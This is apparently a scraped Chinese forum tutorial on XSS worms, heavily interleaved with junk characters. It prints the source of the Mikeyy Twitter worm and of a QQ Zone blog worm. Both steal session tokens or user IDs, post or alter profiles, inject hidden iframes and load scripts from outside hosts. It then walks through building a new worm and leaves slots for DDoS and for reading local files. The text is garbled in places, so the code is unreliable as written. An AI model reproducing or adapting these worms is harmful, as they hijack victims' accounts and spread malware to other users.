2 Q6 Q" c4 o, L' ^; j9 q ~& S8 [第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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2.
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3. function XHConn(){
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4. var _0x6687x2,_0x6687x3=false;
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0 ~0 I! P1 Y" ]2 Z( V/ \' g2 ], W 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } / k1 }5 Y+ B1 C, u, n
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } f$ X6 W1 x* B* }$ M9 i) R
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } 8 o8 L0 U* A: u6 ]$ }! t6 g# X6 e( K
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8. catch(e) { _0x6687x2=false; }; }; };
6 g8 g& t: a+ T8 N4 Z/ J复制代码第六版: 1. function wait() {
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- z* g, o- ^: `1 t2 P% k$ {0 L 2. var content = document.documentElement.innerHTML;
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; I( y8 _- n& h7 N. E 3. var tmp_cookie=document.cookie;
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6 P$ ^6 I1 u5 ^0 F# s, W/ Z& r, Y 4. var tmp_posted=tmp_cookie.match(/posted/); $ B7 V$ z( f. V4 U$ S( e6 G
; w! ^" i. A1 p0 Y+ `2 ]& ^ 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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6. var authtoken=authreg.exec(content); ' B" @9 }$ H; l& y. }% p2 f
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7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array();
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; 4 J* U- k, G( d3 Z% L3 ?$ v
4 r" t/ G& B5 B 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; & c8 N$ e3 q6 v8 T4 v3 I8 i
6 I6 Y+ D) E2 o+ }9 N, L6 h q 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; 3 A& i( b& V/ s, [$ {9 x! N. T
# u; }" o+ M, Y2 } 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; " h/ V0 t! A8 d
' {. n2 T' ^+ A+ s 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; * M! l1 S8 N3 D3 C8 M
& c! r$ W" }$ R7 p4 i 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; ' N) }& I# S8 Z+ y
0 l& f$ U2 H3 i9 q2 p 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; 2 J# T7 P* o# t* m [% J
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; 0 h, K+ G0 {2 ?. J: Z4 [
} j* y! i* L$ A 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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' I+ s9 x1 ^! ]) l 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; ?$ V- T( L8 ~
5 J6 F6 J [4 R- s 24.
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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26. var updateEncode=urlencode(randomUpdate[genRand]);
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27. $ P9 L7 M/ N7 r
. c( W& P8 e1 z$ n$ d1 l$ K 28. var ajaxConn= new XHConn();
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5 H! ?7 F% t( G; b& n 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); 0 v. l6 g! m5 J% B5 ?' Q, l3 f" R
9 s+ ?) ?0 _$ U4 \+ E! g, m 30. var _0xf81bx1c="Mikeyy"; # g( [% q4 Q, V# W; x) H4 ? K& ~
" e$ S+ t: r; D, | 31. var updateEncode=urlencode(_0xf81bx1c);
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5 a8 O! g7 n$ f% G! ]9 L9 ~ 32. var ajaxConn1= new XHConn(); : ~2 I, v; H# [* t$ q. |& n2 u
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); 9 Q) V3 R3 W. N, |! ^; X7 f
) ^9 q' w; [9 _$ L9 z0 T. c/ m 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; ) N" h6 u& D7 ] e, D! u2 \8 j, S
% `4 m3 `" m7 _" d+ j. [ 35. var XSS=urlencode(genXSS); ! ]* d1 X- h% ?
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36. var ajaxConn2= new XHConn();
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); + i# s( p: M0 T( ^. C& H
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39. } ; % s8 O7 i" d4 `
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40. setTimeout(wait(),5250); 8 E$ d/ A# l* p* K, U
复制代码QQ空间XSSfunction killErrors() {return true;}
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. s+ X# I: a( n! s$ W1 b+ W0 Kwindow.onerror=killErrors;; o7 ~4 D! _1 w: O( _
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var shendu;shendu=4;
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//---------------global---v------------------------------------------
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?+ @6 t. H( }) Q& t r3 |5 Y* i
. y& D9 Q: W: z* E- wvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";( T3 A, k4 \* G) A8 _$ A- e2 |( d
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var myblogurl=new Array();var myblogid=new Array();
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, ^9 R' G5 b: Q4 n var gurl=document.location.href;
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var gurle=gurl.indexOf("com/");
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gurl=gurl.substring(0,gurle+3);
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var visitorID=top.document.documentElement.outerHTML;
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" F$ F" p6 n" E9 P- m9 H9 u+ } var cookieS=visitorID.indexOf("g_iLoginUin = ");% Y+ ?' ~- u4 q* f, D
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visitorID=visitorID.substring(cookieS+14);2 f% t5 ?" ?3 I, s2 `5 K
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cookieS=visitorID.indexOf(",");: c/ M7 b$ |; \: u
; \3 U( z* Z% z8 `% U v visitorID=visitorID.substring(0,cookieS);4 i2 E1 J+ I7 K
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get_my_blog(visitorID);
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) k' P/ [( Q0 r3 S$ R7 G DOshuamy();" b6 [9 |( ?6 e" V, ^" ?
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$ r5 L) @9 z9 U2 t1 c//挂马- o: F- d1 j, L& c- `. w1 |
; G8 l( v. ?2 q8 X9 E4 Afunction DOshuamy(){( j/ L" Y9 ^& n# ^8 z& L: X& O1 O
2 L) }" O9 v; R9 @8 e3 c6 {var ssr=document.getElementById("veryTitle");
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0 Z- n! Z: k$ K! wssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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}
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$ R# D8 M0 P: h2 F5 J- M o& w//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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function get_my_blog(visitorID){
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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1 _' s% c6 {3 k/ l xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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if(xhr){ //成功就执行下面的4 W/ V2 W; I) ]) n
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- q1 V$ V/ g, j3 ^ xhr.send();guest=xhr.responseText;
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. Y" r4 g: U* b$ t. U' w get_my_blogurl(guest); //执行这个函数
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}
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' G+ b d! q- ^( n M3 q3 n( T/ n//这里似乎是判断没有登录的
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; R4 G6 ]- `- Q5 b. U7 q# @function get_my_blogurl(guest){
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var mybloglist=guest;( O1 n& e' O, t# ^( Y
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var myurls;var blogids;var blogide;5 @! J% D& L6 j
/ a& S8 q' l3 D9 ]5 J9 c for(i=0;i<shendu;i++){* O a; T7 e2 E3 N
2 I4 a" {* j4 D# ?8 \; [ myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了! i) Y8 u2 T2 J Z8 W3 O# a
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if(myurls!=-1){ //找到了就执行下面的. t9 r# [; \+ |9 F
4 ?8 N" h4 S7 O: ^% w. Y mybloglist=mybloglist.substring(myurls+11);, _7 F6 b! q& W
; C5 j9 E7 G* x. z" G4 m myurls=mybloglist.indexOf(')');
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myblogid=mybloglist.substring(0,myurls);
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; F5 X- e0 p! W% z' `; _$ n }else{break;}
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. ?' _/ U R* E+ p d" ~) C5 _get_my_testself(); //执行这个函数, N+ Q5 O) c! J/ ^' u3 N$ e
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}
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" F6 r' b1 `% i. c3 x8 I" v//这里往哪跳就不知道了 W; X- e* O" M7 d# W8 h
; o' z. k9 c9 q& z0 L. l: u7 w: V
function get_my_testself(){
# @3 T/ c0 S/ N0 _- w* f- @$ _$ |8 G/ L0 e- c
for(i=0;i<myblogid.length;i++){ //获得blogid的值
! B% P$ G8 j/ V( N7 E% _( A2 x2 T* ]) @
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();% ^7 k- O% c8 p# d" I: Q) D
5 L* c1 N- h7 S# d1 _4 ] var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
: U% Y3 S. l3 }2 U9 _3 v7 Y6 ]
# \5 d' b/ [9 M! C9 d" f# b if(xhr2){ //如果成功: F _4 D0 _5 O( p1 U
& N4 e6 N. g0 G- Q: M
xhr2.open("GET",url,false); //打开上面的那个url
( v! k6 t: ]6 x) N' c x& c8 _5 {2 y* _
xhr2.send();
8 b; h5 r$ h1 X* K. @! r: c7 Y9 h* X1 I2 Q7 b. U7 U. n- T
guest2=xhr2.responseText;
# v' ~0 d6 y" d6 Z& {
; m. f: \0 T* o, j. J9 S var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?" p J8 B+ a; o2 C8 B6 h
r. [1 a: A! a U8 b, D( Q- i var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
3 r/ K1 r0 p2 ]- j1 a$ P/ \% I$ u5 z. ~2 \9 X; S- X8 v
if(mycheckmydoit!="-1"){ //返回-1则代表没找到3 P; x H5 F- f9 J2 O; |/ g, T
1 n6 T9 f% Y( G+ m2 A$ C targetblogurlid=myblogid; # j8 w/ c2 w8 Z: U
! A3 p# a8 ]- p add_jsdel(visitorID,targetblogurlid,gurl); //执行它
- Q! P, ]4 h; S
9 D2 @1 R+ P9 e: j5 O+ K( p1 Y' j break;" Q: _, _. }. W; z
D1 z7 [, {( [4 d& E8 ] }
6 h# G! B6 J& Z4 D, D4 k* ~. u6 _* w3 }% X* T
if(mycheckit=="-1"){
. V! C4 g1 P" n3 v$ c
0 u! b9 g9 O& x$ B targetblogurlid=myblogid;$ N# `( a) ^3 \! j1 y( e! p
P4 S) N& s# e m
add_js(visitorID,targetblogurlid,gurl); //执行它; K/ ~/ l' E- D w- J
2 E% X& F* O9 X7 A; _7 e' N. A break;$ F! E; p: j' x
, e5 T: I% i/ ]( {9 y }
! |3 s# y4 o% A, M3 H7 T% ?6 \7 B S9 q' p9 e3 {
}
+ s; [8 x4 ]4 j) M$ E! i# z: C+ X7 u7 m2 M7 i
}* L$ w/ E1 ^" _% l
& v/ s, \2 R) T0 Z+ I m! X}, i0 m( {7 ?" ~! ?- c! |
; J' u7 K" m( d5 v
1 @; g9 X# i( b, J' v; ?# i' w$ W* e+ v9 v0 [2 O
//-------------------------------------- & [9 V" v" h! U$ o5 p0 |$ R3 B d
5 c# E& _" o% b2 m0 m3 u
//根据浏览器创建一个XMLHttpRequest对象1 s5 P; o- K7 T0 t- f" O- ?
! ^$ h: i' {4 N* Zfunction createXMLHttpRequest(){+ [1 N5 d8 M4 b, j( _( G. d. G7 ]
) y1 }! A* m/ |, W5 x7 t5 q5 L
var XMLhttpObject=null;
3 T! i# C. D1 S" M
* V, H, E9 e8 \) U/ W% E4 T2 { if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
7 h9 U! r9 `) k9 E
) K5 y) [8 E- Z A$ G else
$ H& h) b# x/ b/ u ~3 f% m/ f" R! P3 j+ P; o
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; 4 O$ Q* S$ j. N! y1 @7 a
0 v1 }, O0 V4 V$ h! e: V c
for(var i=0;i<MSXML.length;i++) E4 ` T" B' |1 J9 Z4 v
) E. h3 ?; a8 A+ h# [ { / C- L1 a5 v; K6 W+ X, @
# k2 o) ~' z% x/ s+ n5 f
try 0 t1 ?1 q% @# n' i
) a' j1 d3 P+ r$ `: q& o3 z$ Q {
, T! {3 P' i; D. k# S7 E) J3 Z5 x& Q3 U! y( B S6 ^
XMLhttpObject=new ActiveXObject(MSXML); 6 y3 ~1 o* _5 c J* G/ |3 W' C0 |
. h4 s# T) z ?; D d
break;
- `! s* o5 E- {/ G; g& ?) ~/ f; A' d; F {! k1 H
}
# n0 ]: [2 v2 e P* G. Z8 g3 k' O
catch (ex) { $ w& o1 n: ]" M i0 l, @
' ?4 X( t! i9 I- V) ]$ Z- c }
0 I5 v/ w+ \0 m# J0 C4 w" @
1 D8 O% ` ]& z$ O }
6 L$ d4 R' {! S& b% S3 u" X' n1 Y. i' n
}
1 r* K1 W) W+ H, a/ `8 {7 U; L, x
! Z+ ^7 c7 G! {$ M6 E& P1 N" c& G* Yreturn XMLhttpObject;. S! N9 t8 ^8 ^. ]" a, v! s
) r3 z- O' u5 K$ A% Y
} ; Q5 [( [3 b% v% i
- t6 l+ d6 {: ]/ k7 o( n; V! [. v
: z! Z9 H/ h$ Z& V; ^/ P: j! Q. `//这里就是感染部分了
( G4 V! A" J; A0 @3 Y3 x, M \8 N5 U, ?/ u. k5 D, s
function add_js(visitorID,targetblogurlid,gurl){6 E( i) W; c! N" z
$ }0 U$ n! f* z2 cvar s2=document.createElement('script');
& B% x# t4 W1 s: c
: \; _* J! y5 ~# _/ L9 bs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
1 W! ?4 N8 c% J2 I7 k. i+ n/ H( ~5 w7 D# }) Y5 k
s2.type='text/javascript';
5 Z L5 |+ l5 R% M. k- Y6 C" @1 C9 i. k; _+ `. E' j
document.getElementsByTagName('head').item(0).appendChild(s2);9 j" g! O+ {) b* N
. r3 A4 ~8 | R9 X* a) A2 i}
7 T& ^2 h% a+ J( Z, U( u* n2 X7 d9 p* K1 [5 [5 W" e2 x
! m) R! l5 N% z
% ] L7 W7 D4 Kfunction add_jsdel(visitorID,targetblogurlid,gurl){
. i; M V, M; C- Q
7 ^0 @9 B4 P% ?% n2 f' \; A# Nvar s2=document.createElement('script'); p0 D6 Z) |& ~; V# d9 D
7 b0 i, {9 {* [# P$ Q; zs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();* ]9 j3 m5 f' Z
4 p! n( w" [# d0 R3 K8 p' t/ E( |s2.type='text/javascript';+ ^2 [ t9 c! w# d
- b) d4 L1 g# D1 d! ~ ]% {$ @& C
document.getElementsByTagName('head').item(0).appendChild(s2);$ |. M$ i7 ^, R+ v. q8 F; i% Q" C
* K" i. w! H: i. n9 d}% j: y& ~4 S5 k' A# N9 t6 r8 `5 ?
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:! x+ l! r" n+ j& g
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
5 c# C# w. C ?6 G5 q6 C% K/ ^7 Z5 \+ k. W
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)- c7 r6 ?0 s( {4 }0 g5 Y) B. l$ \
# n8 Q6 a, m. T8 G+ @8 r' z- i综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
# k' ^0 P! ?. X$ W* ^
& R. N* d. A( S( v; g9 U6 q( [" A) g+ G
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.# k0 }. s! r, ]5 @1 [% S
, |) V# \" f( o' L5 G( |& q首先,自然是判断不同浏览器,创建不同的对象var request = false;8 k6 b# K1 u! ]; z" C9 g
4 m9 I) J' c% A8 V% ~ {( X
if(window.XMLHttpRequest) {
( g Z) U: Z4 @
7 j# Z! c$ E. Hrequest = new XMLHttpRequest();
- H0 }, N- T1 r0 @8 r$ a+ v* `) @ N# I
if(request.overrideMimeType) {6 p5 A* Q8 [+ h
6 N3 I6 F) u u9 Y, O1 p
request.overrideMimeType('text/xml');0 q. {3 g m: {* E
- F: `6 g# z: X! I}! t8 q; @5 l3 j/ g, ~
" P1 m4 v/ f. _- G} else if(window.ActiveXObject) {
+ F$ B. N1 Y" }0 K
& c- P7 O' r3 Qvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; q( T% i2 s/ p+ B& I
& O) y; s; Y/ P5 V
for(var i=0; i<versions.length; i++) {
! D8 c9 g9 F7 i- K$ }- G6 f- e, j) Y8 Z' J! @& ]
try {! H+ h* v9 w: X) n) F8 W6 |
: ~4 k' ?1 t9 T; z$ K* ?; |+ brequest = new ActiveXObject(versions);+ Z2 @. W8 w# p$ r8 M
& R/ G/ S. s) A5 ^3 [* S} catch(e) {}* B% Q7 `& G- \8 l
' e7 ?, p, m$ B3 [, L1 `& V* ^
}& q+ A$ R- w6 C, y9 }
3 X+ ]) X/ W3 ^
}
' K( _2 V! E1 O; D, H! S3 m
7 J% ?- B5 V ^4 hxmlHttpReq=request;8 Y5 g/ v" H" X8 C9 ~
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){ U# E3 O% f5 r) ` v( d7 l
, T0 v; ?* m" g! {( v. N; H var Browser_Name=navigator.appName;
7 u+ l( m! d- ?5 @5 \ a# P. H4 F( d+ |; |: d# f& k8 ]
var Browser_Version=parseFloat(navigator.appVersion);. a! \) ~* }% \' z6 r B6 R' k6 l
2 n3 K4 C5 L; D7 z( n6 y
var Browser_Agent=navigator.userAgent;
- _. ~: I1 G) `: c" |- R. h/ z: D+ m9 d" P7 ]% S8 X$ A- m5 k( U
* Y1 d1 e# Q7 l/ \5 u0 B9 o
* w6 _1 f1 [8 f var Actual_Version,Actual_Name;
' I/ e# c* V' n/ r6 L! f2 Y2 h& o! A' ^4 } B8 A
9 ^9 b( ]/ r# u$ m! O; B/ I( {; W2 e7 u x0 ~' A" t# ]% N
var is_IE=(Browser_Name=="Microsoft Internet Explorer");5 f$ p9 l! T4 }& k0 @# T
: _# D3 P" \0 ~8 A var is_NN=(Browser_Name=="Netscape");# [; P, m8 K5 m
# F4 ~. `/ {9 d5 y2 n8 ?& r0 ]- s var is_Ch=(Browser_Name=="Chrome");) i4 Z( B! g* Q3 w
1 y! |4 \( m4 S) G* y& v/ Z% H$ u
P# m% ]0 a( ^ U: X* m9 B; z. H
! u! w" u! @3 y8 J; i& o if(is_NN){
* W7 i) P$ H: l6 X3 P# u* F1 ]
# D) ]! B9 e5 c" I if(Browser_Version>=5.0){
% Y4 ^2 l2 H3 V8 a
& K: G$ |9 O9 x/ A var Split_Sign=Browser_Agent.lastIndexOf("/");' J ^. C7 ?/ S3 S. F+ D( R6 g
4 S9 \! n: c0 Y) S. F* G) P6 T var Version=Browser_Agent.indexOf(" ",Split_Sign);
# Y6 B! A4 ~1 K8 D& E1 {2 j7 \, C7 ?+ {2 c
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
9 C: h. n4 P4 d* c' P. q/ f! Y* }2 S5 w1 I
/ {8 O2 T+ @# j4 q" i# {& g
/ b& _0 V# s: D9 ?: ^1 H6 A6 l6 y& a Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
* t! l3 N u7 e. ~8 Y. O9 d: E0 E6 ^1 Z2 z1 O
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
. @: t* {0 `) o) T& r! r* L- R8 b, |$ ]: ~3 u
}
0 r: n/ o: B$ k/ g; g) p- U) Z2 h2 t+ b+ i4 r! [
else{
5 I# c$ k8 z% O+ n- e
9 U5 }1 H' r: z4 J w Actual_Version=Browser_Version; A- Z! Y$ a( N- ^
2 L y9 E$ g! [& p- I0 L, S Actual_Name=Browser_Name;
3 G. n9 }* K1 S) M0 U: r" d" u" L
9 Q+ i2 Z4 p/ d+ b' s @ }
7 C, v, ^1 ]9 W; o0 r w8 j* b& y5 V0 \; I, ~$ U
}
* L: C4 z+ B, K, q- j" v% ~# t x/ M% L5 S/ i5 L( d
else if(is_IE){, t$ c) b) X4 d, ~: F
- G9 N' m+ m9 N# }" V& f- d( I var Version_Start=Browser_Agent.indexOf("MSIE");
9 o9 r, F1 c0 S. Y/ E# [
" l0 I$ S' m9 y var Version_End=Browser_Agent.indexOf(";",Version_Start);
: s$ g! q4 z( ~- j) A
. c! l( e$ ]4 y9 T Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)4 a4 u) O8 `4 P c
2 d% [( A* F& v/ _" `/ i/ Z7 z Actual_Name=Browser_Name;
' a- s! N( r- Y; }" f' d- z+ C0 R/ s+ w+ j4 w; T
/ X% O; \- K: q( u
5 W1 t; w2 n6 h: J* d: e' b: A2 M
if(Browser_Agent.indexOf("Maxthon")!=-1){5 a, b* c& `( a& R$ O
: C# O2 [" ~8 I9 p6 w& g
Actual_Name+="(Maxthon)";
/ p+ O4 m6 x0 n; i1 ^9 t2 t/ N4 u$ `! [$ \
}; e$ g# w+ J) ^1 B6 c, r
5 S; i! A7 e. ~% ^
else if(Browser_Agent.indexOf("Opera")!=-1){+ m# y$ k9 ]8 l7 ^$ \/ M1 f) y
0 ?; N2 I3 R0 F7 \7 [ Actual_Name="Opera";1 N" n2 S5 P( H3 D6 }% @8 h
- o( I8 P/ G- b4 ]0 Z
var tempstart=Browser_Agent.indexOf("Opera");
* x1 ^8 f, c) e
" y: [+ z# z: S! Y var tempend=Browser_Agent.length;6 u* c: E- A% ?' n3 }1 v, a
' L9 x0 Y3 U! t/ h0 ] n: e& N
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)5 d/ y9 M: e' }& K7 n4 {6 M, e
' d$ C# B G. V$ s' s( u }- S# Z% T! v) M/ H2 g. K- B4 o9 a) T
& t' O+ e- k A) o }1 z$ W6 [- A7 a2 ~6 S8 X& @
9 T+ X; f1 Z l8 N$ [- r) o
else if(is_Ch){
A& z6 k+ [) K+ R. d3 k
1 J0 ?1 E$ P0 Y( A* I var Version_Start=Browser_Agent.indexOf("Chrome");2 ~0 N! H$ s p0 ?: F4 w, U1 G
" } a) {. M$ z$ `* K5 ]
var Version_End=Browser_Agent.indexOf(";",Version_Start);9 D* N+ ?3 q3 K: u
! d4 n) S3 E: S/ Z+ }
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
5 F' _9 N# ^5 C3 J7 P
) I. Q; w7 ]* N4 }* C( K( e5 F- b Actual_Name=Browser_Name;. \' q/ b1 z( z- S: \
. `7 ?+ `' i" s
! {3 G( W. }$ D# h
# _% K0 ?& ?5 Q0 U. k9 e7 _# [ if(Browser_Agent.indexOf("Maxthon")!=-1){8 d" l: ]) T- @0 V
% G. _! b$ ?- _, ^; |0 t( e6 O- h
Actual_Name+="(Maxthon)";
; J( X$ t3 K2 B( Z3 f0 \
! [; w8 Q Z& O }
% w4 E8 k+ w! V) E2 ^+ s1 }9 J7 E
+ f0 e( G9 o3 t! n1 P else if(Browser_Agent.indexOf("Opera")!=-1){
& Q, J* Z1 y6 @+ [* R8 l1 d
1 `" k f3 D4 A6 p Actual_Name="Opera";" J9 G) L) v# g
7 `! V2 ?) c1 ^) v# W; u
var tempstart=Browser_Agent.indexOf("Opera");/ j! P: S ^' L: I0 q# j
6 E7 b6 V2 t8 z1 o" F. g var tempend=Browser_Agent.length;/ |7 ?0 I8 S6 \: B% h
3 x7 U$ W; N: f; u( x
Actual_Version=Browser_Agent.substring(tempstart+6,tempend). M5 X% V6 ~1 c* ` V; M1 O. i
% Q7 Q) B0 I6 l2 ^% ]
}
5 P: M6 ~* o2 q1 M% K: @8 w% | {9 \& z7 t3 Y* z2 K1 C j
}
/ d: p- I3 r% U) h! @) @
) x. H$ u+ A1 l% m8 p5 }. O else{% N( B# t) ], j, L% f
( `/ U: L( O P& y& }
Actual_Name="Unknown Navigator"
& k8 u# V& T3 r! z! |- K+ b& V/ F( j$ ]' I
Actual_Version="Unknown Version"% ]. i/ w* _% ]6 h0 h
( s* ]7 D9 @/ `: F0 p; _8 R7 z }% h! g# B: v& p7 y3 n- @
- }$ m: w6 B8 Z; Q: p+ H
* k1 N+ W! }+ r& t& |& e+ w1 r# G* ?4 s* i
navigator.Actual_Name=Actual_Name;- ?8 k7 t, n% ~6 D/ O# H
7 c) `: i+ g: ^/ v" b navigator.Actual_Version=Actual_Version;& q! z. R j) M) C" q8 Q
, T" y1 P0 f3 ]( ` _- D# W
& O) O T$ [- Z0 A6 o9 S+ K" d. z( V
this.Name=Actual_Name;/ A0 Z9 n6 B V
/ X0 ]. o! @1 ]* M0 x& V7 G# P
this.Version=Actual_Version;3 u: {- D2 ~/ U
/ b& m2 G' B1 \1 I
}9 \6 g0 l& T+ N+ ?
) \0 X- Z: ]! q8 [7 `3 l browserinfo(); ], l, z5 ? M2 [) F- A
! }9 \9 ?2 r, a7 b' u0 s! W if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件} t" X* l$ F( y
0 K, u7 ?; n0 F if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}+ D0 @+ r( C7 c1 H) c: |
/ P* }- P# ]- Y6 A if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}; z2 v0 B6 n2 S0 b5 [. U3 x
: i q( P8 r9 z: X4 c
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
c* O2 g3 H* A2 u/ ]* |& i复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
7 t5 o" b ]7 l+ h6 `$ [复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
j; I$ c2 E) I5 U9 l复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
: _; o/ @5 G# B9 k* V/ m0 S0 z7 C% W5 A* ?/ P" ?* j' P
xmlHttpReq.send(null);
